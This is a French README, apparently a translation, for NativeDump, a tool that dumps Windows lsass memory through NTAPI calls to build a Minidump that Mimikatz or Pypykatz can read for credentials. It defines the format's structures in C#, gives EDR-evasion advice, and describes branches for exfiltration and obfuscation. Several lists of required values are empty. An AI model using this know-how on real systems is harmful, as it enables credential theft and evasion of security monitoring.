
Dumper lsass en utilisant uniquement les fonctions NTAPI en fabriquant manuellement des fichiers Minidump (sans MiniDumpWriteDump!!!)
NativeDump permet de dumper le processus lsass en utilisant uniquement des NTAPIs, générant un fichier Minidump avec uniquement les flux nécessaires pour être analysés par des outils comme Mimikatz ou Pypykatz (SystemInfo, ModuleList et Memory64List Streams).

Le programme a un argument optionnel pour le fichier de sortie, le nom de fichier par défaut est "proc_<PID>.dmp" :
NativeDump.exe [DUMP_FILE]

L'outil a été testé sur les dernières versions de Windows avec les solutions de sécurité les plus courantes (Microsoft Defender for Endpoints, CrowdStrike...) et fonctionne bien, mais la furtivité dépendra de la « flavour » que vous choisissez : utilisez des langages peu courants et personnalisez les binaires pour de meilleurs résultats ! Cependant, il ne fonctionne pas si PPL est activé ou si la structure PEB n'est pas lisible. Mise à jour : Il est désormais possible d'exécuter les programmes sans lire la PEB, consultez la branche peb-unreadable :)
Certains avantages de cette technique sont :
Vous pouvez trouver le projet dans différentes « flavours » (ou langages) :
main - Implémentation .NET de base (cette branche)
python-flavour - Implémentation Python avec 3 méthodes d'écrasement de ntdll.dll + Exfiltration vers machine distante
golang-flavour - Implémentation Golang avec 3 méthodes d'écrasement de ntdll.dll + Exfiltration vers machine distante
c-flavour - Implémentation C/C++ avec 3 méthodes d'écrasement de ntdll.dll
bof-flavour - Fichier BOF avec 3 méthodes d'écrasement de ntdll.dll
rust-flavour - Implémentation Rust par @safedv
crystal-flavour - Implémentation Crystal avec capacités d'écrasement de ntdll.dll
nim-flavour - Implémentation Nim avec capacités d'écrasement de ntdll.dll
Autres branches intéressantes utilisant .NET :
remote - Exfiltration vers machine distante + 3 méthodes d'écrasement de ntdll.dll + Résolution dynamique de fonctions + Chiffrement AES des chaînes + Codage XOR du contenu Minidump
all-modules - Obtenir les informations pour tous les modules (pas seulement lsasrv.dll)
peb-unreadable - Implémentation sans lire la structure PEB de lsass + 3 méthodes d'écrasement de ntdll.dll
Après avoir lu les structures non documentées de Minidump, sa structure peut se résumer à :

J'ai créé un outil d'analyse qui peut être utile : MinidumpParser. Nous nous concentrerons sur la création d'un fichier valide avec uniquement les valeurs nécessaires pour l'en-tête, le répertoire des flux et les 3 seuls flux nécessaires pour qu'un fichier Minidump soit analysé par Mimikatz/Pypykatz : SystemInfo, ModuleList et Memory64List Streams.
L'en-tête est une structure de 32 octets qui peut être définie en C# comme suit :
public struct MinidumpHeader
{
public uint Signature;
public ushort Version;
public ushort ImplementationVersion;
public ushort NumberOfStreams;
public uint StreamDirectoryRva;
public uint CheckSum;
public IntPtr TimeDateStamp;
}
Les valeurs requises sont :
Chaque entrée dans le répertoire des flux est une structure de 12 octets, donc avec 3 entrées, la taille est de 36 octets. La définition de la structure C# pour une entrée est :
public struct MinidumpStreamDirectoryEntry
{
public uint StreamType;
public uint Size;
public uint Location;
}
Le champ « StreamType » représente le type de flux sous forme d'entier ou d'ID, certains des plus pertinents sont :
Le premier flux est un flux SystemInformation, avec l'ID 7. La taille est de 56 octets et sera située au décalage 68 (0x44), après le répertoire des flux. Sa définition C# est :
public struct SystemInformationStream
{
public ushort ProcessorArchitecture;
public ushort ProcessorLevel;
public ushort ProcessorRevision;
public byte NumberOfProcessors;
public byte ProductType;
public uint MajorVersion;
public uint MinorVersion;
public uint BuildNumber;
public uint PlatformId;
public uint UnknownField1;
public uint UnknownField2;
public IntPtr ProcessorFeatures;
public IntPtr ProcessorFeatures2;
public uint UnknownField3;
public ushort UnknownField14;
public byte UnknownField15;
}
Les valeurs requises sont :
Le deuxième flux est un flux ModuleList, avec l'ID 4. Il est situé au décalage 124 (0x7C) après le flux SystemInformation et aura également une taille fixe de 112 octets, car il contiendra l'entrée d'un seul module, le seul nécessaire pour que l'analyse soit correcte : « lsasrv.dll ».
La structure typique de ce flux est une valeur de 4 octets contenant le nombre d'entrées suivie d'entrées de 108 octets pour chaque module :
public struct ModuleListStream
{
public uint NumberOfModules;
public ModuleInfo[] Modules;
}
Comme il n'y en a qu'un, cela se simplifie en :
public struct ModuleListStream
{
public uint NumberOfModules;
public IntPtr BaseAddress;
public uint Size;
public uint UnknownField1;
public uint Timestamp;
public uint PointerName;
public IntPtr UnknownField2;
public IntPtr UnknownField3;
public IntPtr UnknownField4;
public IntPtr UnknownField5;
public IntPtr UnknownField6;
public IntPtr UnknownField7;
public IntPtr UnknownField8;
public IntPtr UnknownField9;
public IntPtr UnknownField10;
public IntPtr UnknownField11;
}
Les valeurs requises sont :
Le troisième flux est un flux Memory64List, avec l'ID 9. Il est situé au décalage 298 (0x12A), après le flux ModuleList et la chaîne Unicode, et sa taille dépend du nombre de modules.
public struct Memory64ListStream
{
public ulong NumberOfEntries;
public uint MemoryRegionsBaseAddress;
public Memory64Info[] MemoryInfoEntries;
}
Chaque entrée de module est une structure de 16 octets :
public struct Memory64Info
{
public IntPtr Address;
public IntPtr Size;
}
Les valeurs requises sont :
Il y a des prérequis pour parcourir les régions mémoire du processus lsass.exe qui peuvent être résolus en utilisant uniquement des NTAPIs :
Avec cela, il est possible de parcourir la mémoire du processus en appelant :
Après les étapes précédentes, nous avons tout ce qui est nécessaire pour créer le fichier Minidump. Nous pouvons créer un fichier localement ou envoyer les octets vers une machine distante, avec la possibilité de coder ou chiffrer les octets avant. Certaines de ces possibilités sont codées dans la branche delegates, où le fichier créé localement peut être codé avec XOR, et dans la branche remote, où le fichier peut être codé avec XOR avant d'être envoyé vers une machine distante.
Pour une approche alternative qui évite de créer un fichier Minidump, consultez TrickDump : il génère trois fichiers JSON et une archive ZIP, et le Minidump est reconstruit sur la machine de l'attaquant. Cela peut aider à contourner les solutions de sécurité qui surveillent la création ou l'exfiltration de Minidump.
| ID | Stream Type |
|---|
| 0x00 | UnusedStream |
| 0x01 | ReservedStream0 |
| 0x02 | ReservedStream1 |
| 0x03 | ThreadListStream |
| 0x04 | ModuleListStream |
| 0x05 | MemoryListStream |
| 0x06 | ExceptionStream |
| 0x07 | SystemInfoStream |
| 0x08 | ThreadExListStream |
| 0x09 | Memory64ListStream |
| 0x0A | CommentStreamA |
| 0x0B | CommentStreamW |
| 0x0C | HandleDataStream |
| 0x0D | FunctionTableStream |
| 0x0E | UnloadedModuleListStream |
| 0x0F | MiscInfoStream |
| 0x10 | MemoryInfoListStream |
| 0x11 | ThreadInfoListStream |
| 0x12 | HandleOperationListStream |
| 0x13 | TokenStream |
| 0x16 | HandleOperationListStream |